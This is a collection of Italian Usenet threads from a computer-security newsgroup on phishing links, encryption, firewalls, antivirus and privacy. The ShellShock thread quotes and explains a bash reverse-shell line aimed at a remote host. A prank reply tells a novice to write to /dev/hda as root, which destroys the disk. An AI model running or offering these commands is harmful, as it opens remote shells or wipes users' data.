mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.sicurezza.varie
Titolo: Secondo voi è un link tarocco questo di Ebay???

Ogni tanto visitando certi siti appare la pagina
di questo link, secondo voi è Ebay che si sta facendo
pubblicità o è un link tarocco che più tarocco non si può?
http://www.payvisits.com/ads_ebayit.html
Il codice html è questo
<html><title>Ebay</title>
<body topmargin="0" leftmargin="0">
<a href="
http://www.jdoqocy.com/t0122shqnhp46987EB64658C7D8A
" target="_top"
onmouseover="window.status='
http://ebay.it
';return true;"
onmouseout="window.status=' ';return true;">
<img src=
http://www.payvisits.com/ebayit.gif
 border=0 alt="eBay Italy"><br>
I regali per il tuo natale: scoprili su eBay.it</a><img
src="
http://www.tqlkg.com/58116elpdjh24765C942436A5B68
" width="1" height="1"
border="0">
</html>

 
http://www.payvisits.com/ads_ebayit.html
Registrant:
Andres Alterini
3450 NW 113 Court
Suite 5222
Miami, Florida 33178
United States
 
Registered through: GoDaddy.com
Domain Name: 
PAYVISIT.COM
 
Created on: 01-Jun-03
Expires on: 01-Jun-06
Last Updated on: 12-Apr-05
 
Administrative Contact:
Alterini, Andres  
and...@alterini.net
 
3450 NW 113 Court
Suite 5222
Miami, Florida 33178
United States
(1-305) 459-8604
      Fax -- 
(1-801) 315-5680
 
Technical Contact:
Alterini, Andres  
and...@alterini.net
 
3450 NW 113 Court
Miami, Florida 33178
United States
(1-305) 459-8604
 
 
Domain servers in listed order:
NS0.DIRECTNIC.COM
 
 
NS1.DIRECTNIC.COM
-- 
I'm in shape....round is a shape isn't it? 
News 2000 [v 2.06] / StopDialer / PopDuster - 
http://www.socket2000.com
Akapulce portal: 
http://www.akapulce.net

Newsgroup: it.comp.sicurezza.varie
Titolo: SW per protezione Pendrive

Buongiorno, sapere consigliarmi un sw (possibilmente gratuito) che
consenta di proteggere i dati contenuti in diverse pendrive?
L'ideale sarebbe qualcosa che mi consentisse di essere usato su penne
di diverse marche e che non preveda la memorizzazione del percorso da
proteggere visto che le penne andrebbero utilizzate su diversi pc e
quindi non sempre il nome del drive rimovibile e' lo stesso. 
In una penna comprata di recente ho trovato qualcosa di simile,
semplice e pratico da usare, ma naturalmente sembra funzionare solo
con la penna in questione. Il software e' USB Disk Security App.
Suggerimenti? Grazie

 consenta di proteggere i dati contenuti in diverse pendrive?
Prova TrueCrypt:
http://www.truecrypt.org/
Nella sezione FAQ leggiti la parte dedicata ai flash drive usb:
http://www.truecrypt.org/faq.php
http://www.truecrypt.org/docs/?s=traveller-mode


wrote:

C'ho provato, ma o sbaglio qualcosa o il sistema e' troppo lento.
Dopo 10 min e' ancora li' che crea il volume sulla flashpen...e'
normale?

 normale?
la creazione del volume č un'operazione un po' lunga (anche su hd, 
figuriamoci su flash disk usb), dipende anche dalla dimensione che hai 
scelto.
ma almeno c'č avanzamento o si č bloccato del tutto?


wrote:

La penna in questione e' da 512 Mb
Non viene visualizzato un avanzamento del processo, se pero' ad ogni
operazione di criptazione e decriptazione c'e' da aspettare cosi'
tanto non mi sembra molto pratico. 
O forse e' solo per la prima volta?
Newsgroup: it.comp.sicurezza.varie
Titolo: Windows XP SPII crasha senza firewall

Ho un collegamento internet su rete lan assieme a mio fratello.
Dato che abbiamo un abbonamento sia su libero sia su alice posso collegarmi
indifferentemente ad un provider o un altro.
Essendo sempre stato collegato con libero ho constatato che libero filtra la
connessione, alice NO.  Difatti pochi minuti dopo il collegamento con alice l'
xp di mio fratello (mai patchato)  ha mostrato la classica schermata del blaster
"il computer si spegnera' tra xx secondi..."  reinstallato un windows xp spII
abbiamo notato altri problemi:  se il collegamento e' protetto da firewall non
succede nulla (pero' ci si benda il mulo acc...)  se invece non siamo protetti
appare una schermata tipo "é avvenuto un errore grave" e dobbiamo riavviare il
computer.
Di cosa si tratta ? 
ma allora windows e' ancora vulnerabile ? 

 ma allora windows e' ancora vulnerabile ? 
Si'.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

gino....@tiscali.it
 ha scritto:
ma allora windows e' ancora vulnerabile ?
Ma č una battuta la tua, vero???

 ha scritto nel messaggio 
news:3s4bv29v3g32qrvlm...@4ax.com...


 succede nulla (pero' ci si benda il mulo acc...)  se invece non siamo
devi aprire le porte sul firewall di windows... sul sito dei muli è spiegato
come.... bardare windows :)

Newsgroup: it.comp.sicurezza.varie
Titolo: ehm... furio??

Ehm, Furio che č successo al tuo sito?? č uno scherzo o sono passati dei
defacer brasiliani??
http://www.spin.it/furio/
f/up su i.c.s.varie

"zio lou" <ANTI...@ANTISPAM.invalid> wrote in message

Probailmente e' un deface su archivi zone-h
http://www.zone-h.org/en/search/what=.it/
bismark
bismark.it
zone-h.org
hackerjournal.it
"ehi amico tu cammini , io volo "

 
http://www.zone-h.org/en/search/what=.it/
Visto che il nome del defacer è di quelli che "volano alto" non credo
si accontenterebbe di una pagina interna.
-- 
Bye by V.

Newsgroup: it.comp.sicurezza.varie
Titolo: info su formattazione dischi

Qualcuno e' cosi' gentile da spiegarmi quali sono
le differenze fra il comando:
format x:/U
e il comando
format x:/select/autotest
Mi pare che l'opzione U determini la cancellazione
della tabella di allocazione dei file e che quindi
i dati non siano piu' recuperabili in nessun modo 
(sbaglio?)
E le opzioni select e autotest cosa fanno di diverso?
grazie anticipate
silvan

 wrote in message
387AB9...@chickmail.com...


formattare :(
provato con tiramisu?
--
     Good luck!              
un...@softhome.net
     ADaM        
http://digilander.iol.it/unno2/
If debugging is the process of removing bugs,
then programming must be the process of putting them in.
(Dijkstra)

 formattare :(
Brutta gatta da pelare, te lo dice uno che nelle feste di natale ha
formattato tipo 6-7 volte per colpa di win98 che non riconosce il secondo
hd. Peggio per lui, torno al 95.
dario...@iol.it
http://dariobrunocorti.freeweb.org
ICQ#: 30478061
--
MS Windows: quante volte vuoi formattare oggi?
Newsgroup: it.comp.sicurezza.varie
Titolo: Informazioni

Esistono delle istruzioni in Italiano .... x usare al MEGLIO Telnet ?


QUIT
:221 
www.fake.net
 closing connection
:Connection closed by foreign host.
Con il comando VRFY, se il server lo supporta (non tutti lo fanno, e
c'e' la su' bona ragione), si puo' sapere se un utente esiste o meno
sul server specificato. In questo caso pippo non c'e', e lserni si'.
Allo stesso modo si puo' controllare un server news, POP3, eccetera.
Leonardo
".signature": bad command or file name

val...@tin.it
 wrote:
 >Esistono delle istruzioni in Italiano .... x usare al MEGLIO Telnet ?
Scusa tanto, ma cosa c'e` da usare in telnet? Tu scrivi e il remoto
riceve e viceversa!
Se hai bisogno di informazioni sui protocolli come POP3 e SMTP leggi gli
RFC appropriati.
-- 
ciao, | [Per rispondere togli "toglimi" dal mio indirizzo.]
Marco | * The Internet is full. Go away.  -- Joel Furr *

Newsgroup: it.comp.sicurezza.varie
Titolo: Kerio PF 2.1

E' uscita la versione 2.1 final del Tiny Personal Firewall
La sto scaricando la proverò e vi farò sapere.
www.kerio.com
 nella pagina download
EXoRCiST (Porco io e Porco il mio Io)

 E' uscita la versione 2.1 final del Tiny Personal Firewall
Per essere corretti è il successore del TPF :)

Newsgroup: it.comp.sicurezza.varie
Titolo: Crackare Wi-Fi

L'avranno chiesto tutti e vari volte, ma vorrei una risposta univoca e
sicura.. ;)
Il protocollo WPA2 per reti wireless è sicuro?
Ovvero: una volta impostato puoi considerarti "praticamente" incrackabile?
Grazie,
Massimo

Mhaxx ha scritto:

ti hanno già risposto qui
it.comp.reti.wireless

Newsgroup: it.comp.sicurezza.varie
Titolo: Quale anti-vir e' veramente FREE?

Quale anti-vir e' veramente FREE.
Ho raccolto i seguenti link ma non ho capito, visto che ho una piccola
attività, posso utilizzare senza preoccupazioni:
AntiVir PE	
http://www.free-av.com
  (
www.free-av.de
)
 Avast	
http://www.avast.com/eng/down_home.html
AVG	
http://www.grisoft.com
Bitdefender 
http://www.bitdefender.com/bd/site/products.php?p_id=24
ClamAV	
http://clamwin.sourceforge.net
Se non lo sono nessuno ne esiste qualcuno?
Infine sono davvero efficaci come i prodotti a pagamento?
Ciao!

 Infine sono davvero efficaci come i prodotti a pagamento?
(IMHO) si.
-- 
Andrea
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
  Yahoo ID andrea260272
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ 

 Ciao!

> Infine sono davvero efficaci come i prodotti a pagamento?
l'ultimo norton 2005 è davvero ottimo perchè integra diversi strumenti utili
ed attuali
Newsgroup: it.comp.sicurezza.varie
Titolo: Domanda per esperti

Salve, sono un neofita in mareria di sicurezza e perciò vorrei fare una
domanda.
Ho il sospetto che qualcuno si connetta ad internet usando il mio userid e
la mia password. Premetto di avere 2 abbonamenti, uno con tin ed uno con un
piccolo provider della mia città; il sospetto riguarda quest'ultimo
abbonamento.
Prima di far perdere tempo al mio provider in ricerche magari inutili,
vorrei chiedere se esiste qualche metodo da me applicabile per fare
"indagini" in tal senso. GRAZIE a chi mi risponderà.
Per risposte in e-mail togliere "viola" dall'indirizzo.

"indagini" in tal senso
mah... la tin ad esempio ti fa vedere tutte le connessioni che hai
fatto... il servizio e` accessibile da qualche parte nel loro sito
www.tin.it
 (buona fortuna a trovarlo) ed e` quasi sempre "non
disponibile"...:-))
magari il tuo provider locale ha gia` messo su qualcosa di
simile... altrimenti non saprei...
-- 
    Pardo 
 
http://pardo.cjb.net

     
http://pardo.cjb.net

 Per risposte in e-mail togliere "viola" dall'indirizzo.
cambia la password :-)
ciao,
marco
ma dov'e' viola?

 ma dov'e' viola?
Grazie Marco per la risposta. Hai ragione, "viola" non c'è, l'avevo aggiunto
solo in outlook e non nel newsreader, adesso dovrebbe esserci. D'altronde
l'avevo detto di essere poco esperto di sicurezza, no?
Per quanto riguarda il cambio pw in effetti è la prima cosa che ho fatto; ma
resta la curiosità di sapere se qualcuno ha fatto accessi a mio nome. La
cosa mi spaventa un po' perchè non vorrei rimanere responsabile io per cose
commesse da altri.........Davvero non c'è un modo di appurare tale
situazione? GRAZIE di nuovo.

 ha scritto nel messaggio
news:8ufg99$q3o$1...@nslave2.tin.it...

Hey, hey....queste sono informazioni che il provider non può proprio darti.
Se sei così sicuro - dimmi cosa ti è accaduto - devi fare una denuncia al
tuo provider il quale se non prende provvedimenti può a sua volta essere
denunciato ai carabinieri. Allora si può chiedere al giudice di fare mandato
affinchè il numero telefonico chiamante venga identificato. Ma non so se il
provider lo logga, cmq Telezzozz si, di sicuro.

 Hey, hey....queste sono informazioni che il provider non può proprio
darti.
perche' non le puo dare?
Saluti
--
Miz
per l' e-mail attenzione all' antispam
Newsgroup: it.comp.sicurezza.varie
Titolo: Bypassare un firewall

Come si fa (se si puo' fare) a bypassare un firewall per usare server
anonimi e navigare in anonimato?
--------------------------------
Inviato via 
http://usenet.iol.it

 anonimi e navigare in anonimato?
Chiedi all'uomo invisibile.
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *


per avere un buon livello di anonimato
scrivi da root:
echo "enable anonymous" > /dev/hda
per essere più
sicuro prova anche:
echo "enable anonymous" > /dev/sda
riavvia la
macchina linux (in questo caso SERVE) e vedrai che sei in una botte di
ferro.
Fammi sapere se hai problemi...
Buona fortuna.




Della serie "bastardi dentro..." Chissà se ci prova!
-- 
Roberto Tagliaferri<-> r.tagliaferri@(forse)
tosnet.it
	Il giovane marito si ammira nudo allo specchio...
	"Vedi cara, con qualche centimetro in più sarei un re"
	e la moglie "e con qualche centimetro di meno saresti una regina!"

 X-Mailer: 
usenet.iol.it
 - NetNews WebGateway
< X-Complaints-To: 
news...@pisa.iol.it
 < NNTP-Posting-Date: Mon, 5 Nov 2001 11:10:45 +0000 (UTC)
< X-Mailer: 
usenet.iol.it
 - NetNews WebGateway
bohhh m'avevano detto che lavorare con i COMPIUTER portava alla pazzia... ma
cosě...
bye hopes
--
It's not enough to have a good mind; the main thing is to use it well

hehehe !!! :)))
e dire che non ci avevo neanche fatto caso !!
fab

 ha scritto nel messaggio
news:212Z216Z22Z67Y1...@usenet.iol.it...

anche questo mi tocca vedere ora... uno che fa la domanda, si risponde, e
non ha neanche l'accortezza di cambiare il mittente... non ti do del lamer
perchè non voglio offendere i lamers...
--
    /"\
    \ /     ASCII RIBBON CAMPAIGN
     X        AGAINST HTML MAIL
    / \
                 Ste  -- UTENTE INWIND: INSODDISFATTO!
        Linux User Registered #208536 at 
http://counter.li.org/

Newsgroup: it.comp.sicurezza.varie
Titolo: spybot 1.4 versione definitiva

come da oggetto 

 come da oggetto
Scaricato. Non c'è più il collegamento, all'interno di Spybot, con
SpywareBlaster.
Strano! C'è sempre stato nelle versioni precedenti. Ciao.
Newsgroup: it.comp.sicurezza.varie
Titolo: Zone Alarm mini-HOWTO - Ora c'e'

Oggi pomeriggio ho messo in linea il ZA-mini-HOWTO, annunciato ieri: 
non ero riuscito ad uploadarlo, si vede che il server di NBCi.com era 
in guru meditation...

 ha scritto nel
messaggio news:iyrt6.56150$yl2.2...@news1.tin.it...


 rikordiamo sempre al solito posto
Ops e' vero, tnx...

 Ops e' vero, tnx...
Se volessi linkarlo dalla mia pagina personale dovrei pagare qualcosa? 
:-))
Magari potrei contribuire economicamente allo sviluppo del bufalometro 
:-)))))))))))))
-- 
Drago (Andrea) 
drago77NO...@freemail.it
WM di Hokuto Audioteca 
http://digilander.iol.it/hokutoaudioteca
Pagina personale: 
http://digilander.iol.it/drago77
Togli NONMISPAMMI per rispondere in mail

 :-)))))))))))))
Hai qualche ulteriore caso? I compagni del Localhost gradiranno di
sicuro.
-- 
Max e la produttivita' in ambiente Windows
SecurFaq             : 
http://members.nbci.com/gouldukat/
Biancorossi Siamo Noi: 
http://www.tifonet.it/free/ancona/

 sicuro.
Purtroppo no, ma l'ho diffuso tra gli amici e ora mi arriva 1/10 degli 
allarmi virus che mi arrivavano prima
-- 
Drago (Andrea) 
drago77NO...@freemail.it
WM di Hokuto Audioteca 
www.hokutoaudioteca.it


 Grtazie, allora quando ho un po' di tempo aggiorno il mio sito
Considerando che fra un anno spariranno dovrebbero diventare molto
appetite anche le riproduzioni. 8-)

Newsgroup: it.comp.sicurezza.varie
Titolo: Proteggere Cartelle come ? x Esperti.

Ho delle cartelle il cui contenuto vorrei proteggere, queste cartelle le
vorrei mettere su 1 CD quindi mi occorre 1 programma ke impedisca l'accesso
ai file ai nn autorizzati ma che al contempo nn mi kieda di ricopiare gli
stessi su HD x poterli vedere quindi niente pgp in quanto almeno i
crittatori che ho usato io tipo Blowfish crittano si i file ma poi mi
kiedono di ritrasformarli quando li devo vedere e se questi file sono su 1
CD nn riscrivibile nn penso si possa fare a meno che di trasferirli su HD 
dico giusto ?
Quindi la protezione potrebbe essere 1 pwd x le cartelle o qualcosa di
simile e se questo nn fosse possibile allora mi occorre 1 qualcosa ke
protegga l'accesso al CDR ma che 1 volta superata renda i file accessibili
dai normali programmi senza ulteriori manipolazioni.
Spero di essermi spiegato, il mio Sist op e' WIN95 quindi mi va bene anke 1
qualke programma "Vekkio"
Qulcuno di voi ha 1 qualke sugg valido ??

 ricopiare gli stessi su HD x poterli vedere quindi niente pgp
[...]
Direi che la soluzione piu' semplice e' usare ScramDisk e/o E4M. Ti crei
un file container cifrato da 650MB che vedi e manipoli come se fosse una
normale unita' a disco. Quando ci hai salvato dentro tutti i file che ti
servono, masterizzi su CD il file container suddetto e il gioco e' fatto. 
ScramDisk funziona solo con Win95/98/98SE/ME, mentre E4M funziona anche
con WinNT4, Win2000 e (con alcune limitazioni) WinXP. 
-- 
Carlo Luciano
GPG ElG/DSA 4096/1024 Key: 
http://web.tiscali.it/clbianco/clbianco.asc
ID: 0x5324A0DA - Fingerprint: 8B00C61034120506111B143DEDBF71B45324A0DA

..Ghigo.. wrote:

        in maniera molto spartana io useri win zip. imposti una password 
        e quando fai doppio clic sulla cartella.zip questa ti chiede la password
        direi che' e' una soluzione rapidissima
        saluti
-- 
----------------------------------------
Questo host utilizza linux.
Non inviatemi virus. 
Sarebbe tempo perso.
----------------------------------------


DriveCrypt 
securstar.de
Installazione portatile, fai un file contenitore, inserisci i file nel
contenitore criptato, copi il programma ed il file contenitore su CD
Byezz


x-post & f/up
Ciao,
un TJL73 e la teoria dell'olio di serpente...
-- 
"E' molto piu` facile essere un eroe, che un galantuomo.
 Eroi si puo` essere una volta ogni tanto;
 galantuomini si deve esserlo sempre."
                                                     -- Luigi Pirandello

Newsgroup: it.comp.sicurezza.varie
Titolo: Sygate firewall

Il firewall mi chiede spesso questo permesso quando apro o.e.:
""INDEXING SERVICE FILTER DAEMON""" riguardo al file
c:\windows\system32\cidaemon.exe.
Devo dargli il "permesso" cos'e'?
Grazie


No, nega il permesso e metti la spunta su "ricorda..."
detto questo, in linea di massima, nel caso di popup
relativi a programmi sui quali non sei sicuro, NEGA
l'accesso, se poi ci fossero problemi sarai sempre
in tempo ad eliminare la voce dalla lista dei pgm e
"tornare indietro" alla condizione iniziale
Ciao



cidaemon.exe = servizio d'indicizzazione dei file su disco 
google è la fonte...
Newsgroup: it.comp.sicurezza.varie
Titolo: Re: Mac lasciato acceso una settimana: rischio zombie?

 comunque rimasi esterrefatto.
Il problema di un vaso che sversa non ï¿œ l'ultima goccia.
-- 
Flavio Visentin
Scientists have finally discovered what's wrong with the female brain:
On the left side, there is nothing right, and on the right side, there
is nothing left.

 sì ma almeno verrebbe svuotato prima che si formino i vermi.
Potresti ovviare con questo: 
http://areaclienti.tre.it/ac3_pages/13481_ITA_HTML.htm
 non so se in 
giro ce ne siano ancora disponibili.

 corrente (es. uno sbalzo di tensione dovuto a un temporale? un vicino
A parte il fatto che probabilmente ti basterebbe un gruppo di
continuità, credo che quello che stai cercando sia qualcosa
di questo tipo
http://www.hw-group.com/products/HWg-STE/STE_ip_temperature_sensor_it.html
considera che oltre a quello sopra, esistono modelli (anche
di altre marche, quello sopra è solo un esempio) che invece
della mail permettono l'invio di SMS; il tutto senza tenere acceso
nulla ... se non il dispositivo stesso

 
Risposta: Si
In questo grande esperimento che stai pianificando andrei in questa 
direzione software:
Staccherei fisicamente l'HD
Entrerei nel Mac con una live cd di Debian customizzata semplicemente con 
il client skype configurato in autoanswer.
ogni volta che va via l'energia elettrica anche dovesse spengersi il Mac 
questo al riavvio andrebbe su direttamente in RAM avviando Skype e se 
qualcuno entra nel PC non potra fare nulla se non bighellonare nella RAM.
Se a questo ci aggiungi un account Skype di apoggio non metti a 
repentaglio il tuo account originale.
Mutek

Newsgroup: it.comp.sicurezza.varie
Titolo: AdAware 5.83 e refupdate

Salve a tutti!
Ho installato Adaware 5.83 standard con refupdate 2.0 su un windows 2000
server. Ho provato a fare gli update del file delle signatures, ma nn riesco
a farlo! Ottengo con tutti iserver disponibili su refupdate il seguente
messaggio:
"Failed.
Could not complete request.
Additional information: Datei nicht gefunden"
Qualcuno sa dirmi che significa? e che dovrei fare? anche perche' io di
tedesco nn ci capisco nulla!
Grazie mille!!

 Additional information: Datei nicht gefunden"
Babelfish ti avrebbe tradotto: File not found
Aggiorna  a mano il reflist

 a farlo!
cambia server da cui fare il download.

 Evita il server 
lavasoft.nu
, e sul menu a tendina seleziona invece
digital-solutions.co.uk
 , questo funziona (almeno a me).

 ha scritto nel messaggio
news:7X9v9.87742$%M1.22...@twister2.libero.it...

E da dove lo scarico? Su 
lavasoft.de
 non l'ho trovato!

 E da dove lo scarico? Su 
lavasoft.de
 non l'ho trovato!
Strano...in genere riescono a trovarlo tutti.
Sezione downloads:
Ad-aware signature file (ref # 042-24.09.02) 38 kb
che corrisponde a:
http://www.lavasoft.de/aaw/binary/reffile.zip
Devi estrarre il contenuto del file nella cartella del programma

 E da dove lo scarico? Su 
lavasoft.de
 non l'ho trovato!
http://www.lavasoftusa.com/
Mac
Newsgroup: it.comp.sicurezza.varie
Titolo: Meet others in you area tonight!! Free AD placement!

 Stop wasting time waiting for love to fall on your lap come to the worlds #1 onling dating service with over 8,000,000 users world wide from the USA to the worl you will find that someone here! come and place you FREE personal AD today and tomrrow you may find the one your looking for!
Oh come mi sto divertendo a segnalare questo stronzo !!
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

 Oh come mi sto divertendo a segnalare questo stronzo !!
Oh, era ora... cominciavo a preoccuparmi, non ti facevi vedere,
credevo fossi ammalato... ;-)
ab...@swbell.net
, vero?
(me too, adesso hanno proprio esagerato, stanno spammando a
raffica su tutti i gruppi)
--
Bye by V.

 raffica su tutti i gruppi)
Gia'... solo io li avro' segnalati 15 volte, oggi.

Newsgroup: it.comp.sicurezza.varie
Titolo: files non salvati

ciao a tutti.
ho trovato alcuni files .rtf nelle cartelle "conversazioni" del programma di
chat C6, e non ricordando di averli salvati, vorrei sapere se è possibile
che qualcuno abbia potuto inviarmi dei files senza la mia autorizzazione,
ovvero abbia potuto, mentre chattavo, entrare nel mio PC e fare un pò quello
che voleva.
Vi prego, aiutatemi, è una cosa importante!

 Vi prego, aiutatemi, č una cosa importante!
mah, ma non č piů probabile che tu abbia salvato i file senza farci caso?
quando l'altro utente con cui stai parlando si sconnette, C6 ti chiede in
automatico se vuoi salvare la conversazione.
mirko.

Newsgroup: it.comp.sicurezza.varie
Titolo: [?] portscan (lunghetto)

Salve a tutti, spero di aver inviato il messaggio al ng giusto; in caso
contrario vi sarei grato se mi indirizzaste...
Allora.. ho una rete composta da un router adsl, un pc con installato
Smoothwall (
www.smoothwall.org
), un serverino in dmz e 4 pc in rete
privata...
il problema (forse non è tale ma vorrei saperne di +) è che nelle ultime 24
ore ho subito diversi portscan da parte del server dns di tiscali... o
almeno questo è quello che riporta il log dell'ids di Smoothwall...
riporto di seguito un frammento del log per essere + esaustivo:
<inizio>
Date: 12/06 01:23:52
Name: spp_portscan: PORTSCAN DETECTED from 195.130.224.18 (THRESHOLD 4
connections exceeded in 3 seconds)
Priority: n/a
Type: n/a
IP Info: n/a:n/a -> n/a:n/a
Refs:
..
.. (qui sarebbero molte altre linee)
..
Date: 12/06 01:29:47
Name: spp_portscan: End of portscan from 
195.130.224.18
: TOTAL time(353s)
hosts(1) TCP(0) UDP(11)
Priority: n/a
Type: n/a
IP Info: n/a:n/a -> n/a:n/a
Refs:
<fine>
Sostanzialmente di questi report ne ho avuti + di una dozzina.... vorrei
solo sapere che cosa sono...
Ringrazio per l'attenzione
Saluti a tutti
Stefano

 almeno questo è quello che riporta il log dell'ids di Smoothwall...
Il file di configurazione di snort (il NIDS in questione) prevede la
direttiva:
preprocessor portscan-ignorehosts: <LISTA SERVER DNS>
proprio per escludere i server DNS dalla rilevazione dei portscan.
Il nomale traffico DNS genera falsi positivi di questo tipo.
Fabio

 ha scritto nel
messaggio news:YtJP7.249915$sq5.12...@news.infostrada.it...
[cut]
conciso, preciso ed esplicativo! :-)
Grazie
Stefano
Newsgroup: it.comp.sicurezza.varie
Titolo: chiedo un consiglio

ciao sono sandro, un ragazzo che quando naviga cerca sempre di rispettare il
prossimo. Putroppo perň non tutti la pensano come me. Recentemente un
ragazzo mi ha preso in giro dicendomi una marea di bugie.mi ha fatto perdere
un sacco di tempo dicendomi che poteva aiutarmi a trovare casa a Miami
(sapendo che io dovevo andare), ha finto di essere una donna ed invece era
un uomo, fino a quando mi ha mandato una mail con la quale mi mandava a
cagare.
Io mi chiedo, č possibile che contro questo tipo di gente non si possa fare
niente. Io sono un navigatore mediocre, pertanto chiedo a voi un consiglio
per fare qualcosa contro questo essere.
So che voi parlate di cose ben piů interessanti, quindi vi chiedo scusa
anticipatamente se vi ho disturbato.
Ciao Sandro

 Zac
 Certo, eppoi, come si fa a discutere dell'acquisto di una casa a Miami con
il primo che ti si presenta per strada?
Newsgroup: it.comp.sicurezza.varie
Titolo: ShellShock - uno dei tanti tentativi...

& /dev/tcp/207,240,10,1/8888 0>&1"
 
Apre bash interattivo e lo mette in bg.
Ma quel /dev/tcp ? Una specie di telnet artigianale?
 
[1] ho sostituito i punti con virgole, non si sa mai...
 
-- 
+---------------------------------------------------------------------------+
|Al mondo ci stanno tante donne, ma tante donne non ci stanno. (Akel Barzo) |
+-----#25--------------------Campagna contro le pubblicita` idiote.---------+

 Ma quel /dev/tcp ? Una specie di telnet artigianale?
 
E' l'interfaccia socket builtin nella bash.
 
Sta aprendo una reverse shell e la sta connettendo a quel sistema remoto.
 

 Sta aprendo una reverse shell e la sta connettendo a quel sistema remoto.
 
Mai pensato a quel sistema di reverse shell[1], ma devo ammettere che funziona
alla grande (provato in locale)!
 
[1] avevo scritto telnet, ma in pratica intendevo piú o meno quello che mi hai
confermato.
 
-- 
+---------------------------------------------------------------------------+
| Telegramma:  MortaDella MandaRino                                         |
| Risposta:    NoceRino MandoLino BaciNella                                 |
+-----#29--------------------Campagna contro le pubblicita` idiote.---------+
Newsgroup: it.comp.sicurezza.varie
Titolo: messenger & privacy

quando si scambiano messaggi e soprattutto files tramite i programmi
come msn messenger, yahoo mess, icq, ecc.. c'è il pericolo che queste
informazioni possano essere recuperate da qualcuno "esterno alla
conversazione" (durante e/o dopo la stessa) ???
ciaoo. franchetto.

 Forse non la vedi per via delle 'k'...
eh?

tho...@despammed.com
tu devi essere quello famoso.
e anche un po' scemo, dicono.
per piacere, scrivi qualcosa di interessante ogni tanto.
grazie, ciaoo. franchetto.

 eh?
vabè, era semplice da capire :)
-- 
Ciao, Dmitry

 nel MSG
news:I8PYb.253342$
VW.10...@news3.tin.it
 ha scritto : 

in primis i gestori dei server di chat, in secondis il tuo ISP, vi è 
poi la possibilità, remota, che qualcuno sniffi le vostre 
conversazioni. se vuoi una certezza in tal senso devi usare sistemi 
di scambio file con protocollo SSL, solo così hai la certezza che i 
tuoi dati non siano interpretabili da altri.
-- 
Ciao, Dmitry

 conversazioni.
ok ma č "molto" probabile, "poco" probabile o difficile.
voglio dire: sono frequenti queste intromissioni?
grazie. ciaoo. franchetto.

 e anche un po' scemo, dicono.
LOL :-D

 voglio dire: sono frequenti queste intromissioni?
non ho dati statistici, posso ipotizzare che non lo siano affatto, ma 
ripeto, c'è una remota possibilità.
-- 
Ciao, Dmitry

=franchetto= wrote:

1) se uno dei due interlocutori ha un trojan installato allora puo' essere
spiato tutto (e' il caso mi pare dello spia-query di irc)
2) chi controlla un nodo del sistema di chat puo' vedere tutto quello che
ci passa sopra; di solito i messaggi passano sempre per il server quindi
di solito potrebbero essere spiati dagli amministratori; di solito (per
quanto ne so sempre) il trasferimento file ha una prima fase attraverso il
server in cui passano i dati necessari al trasferimento (ip, porta e forse
anche nome del file) mentre tutto il resto avviene in modo diretto senza
passare dal server di chat.
3) chi controlla un nodo della rete tra un chattatore e il server puo'
spiare tutto quello che puo' spiare l'amministratore del server; chi
controlla un nodo della rete tra un chattatore e l'altro puo' spiare tutto
il trasferimento di file.
4) sono possibili attacchi da chiunque altro in rete che consistono nel
"mettersi in mezzo" tra un chattatore e il server o l'altro chattatore ma
non sono semplici e nemmeno alla portata del primo fesso che s'annoia.
5) chi spia puo' avere anche la possibilita' di cambiare i dati in
transito.
nella pratica e' possibilissimo che un sistemista annoiato si metta a
spiare i suoi utenti e da qualche parte ho sentito menzionare almeno un
caso finito in giudizio in cui questo e' successo (ma con l'email).
ragionavolmente me ne infischierei a meno di avere ragioni per voler
sicurezza (sei uno 007, fai traffici illeciti, sei paranoico, altro/varie?)
soluzioni pratiche al problema non ne conosco ma dovrebbero basarsi su
crittografia di qualche tipo a seconda delle esigenze per garantire
riservatezza e rilevare (ma non correggere) modifiche del messaggio.
-- 
per leggere e postare su free.it.*:
http://infofreeit.altervista.org/polacco.zip
Newsgroup: it.comp.sicurezza.varie
Titolo: Posta Sicura

Salve a tutti, è la prima volta che posto su questo ng, ma vorrei sapere
qual'è il programma di gestione della posta che mi dà la maggiore sicurezza,
me ne sono stati consigliati diversi, ma non saprei quale provare, sapete
darmi una panoramica su questi tipi di software?
Grazie in anticipo a chi vorrà perdere del tempo a rispondermi.

 Grazie in anticipo a chi vorrà perdere del tempo a rispondermi.
Prego.
--
Dany Keisler

 temporary safety deserve neither liberty nor safety

 a parte un buon antivirus residente..
Altri buoni candidati sono Eudora e Free Agent.
Peccato che per i browser non ci siano alternative altrettanto valide.
--
-g-
http://guide.supereva.it/bari/
Il nuovo Forum di Bari
http://mynews.supereva.it/supereva/supereva.viaggi.bari

Peccato che per i browser non ci siano alternative altrettanto valide.
Sbagliato
http://www.opera.com
La versione 6 in inglese e' ottima,e se vuoi ti scarichi anche il
java.
Saluti
-- 
                                                                                      Fabiao
Fprzb puv yrttr

Peccato che per i browser non ci siano alternative altrettanto valide.
Agent sicuramente e' il meglio per le news in assoluto.
Io uso Opera come browser tappando il cattivo rapporto che ha con
javascript con ecsplorer.
aloha


 
http://groups.google.com/advanced_group_search

 meglio ancora, ma non so se sia free
lo e'.
-- 
http://werted.cjb.net

lo e'.
Per favore,mi dai il link per scaricarlo?


 Per favore,mi dai il link per scaricarlo?
www.google.com
 
-- 
http://werted.cjb.net


www.google.com
 
:-)
Non so per chi tu mi abbia preso,werted...hai provato a cercarlo tu
con google???
Dopo 5 ricerche ho gettato la spugna e ti ho fatto la domanda


Rotfl.
whiplash,col tuo ennesimo tentativo di flammare le discussioni in cui
appaio mi hai rotto i coglioni.
Ti consiglio di fare un buco nel muro per occupare il tempo(molto)che
a quanto pare hai libero.
PLONK


  E dire che non l'ho neanche toccato.
whip, non ti ha detto che, dietro il buco nel muro, c'e' lui a culo
pizzuto :)
-- 
 (o_   Su questo anello, le lettere riportate da Isildur possono essere 
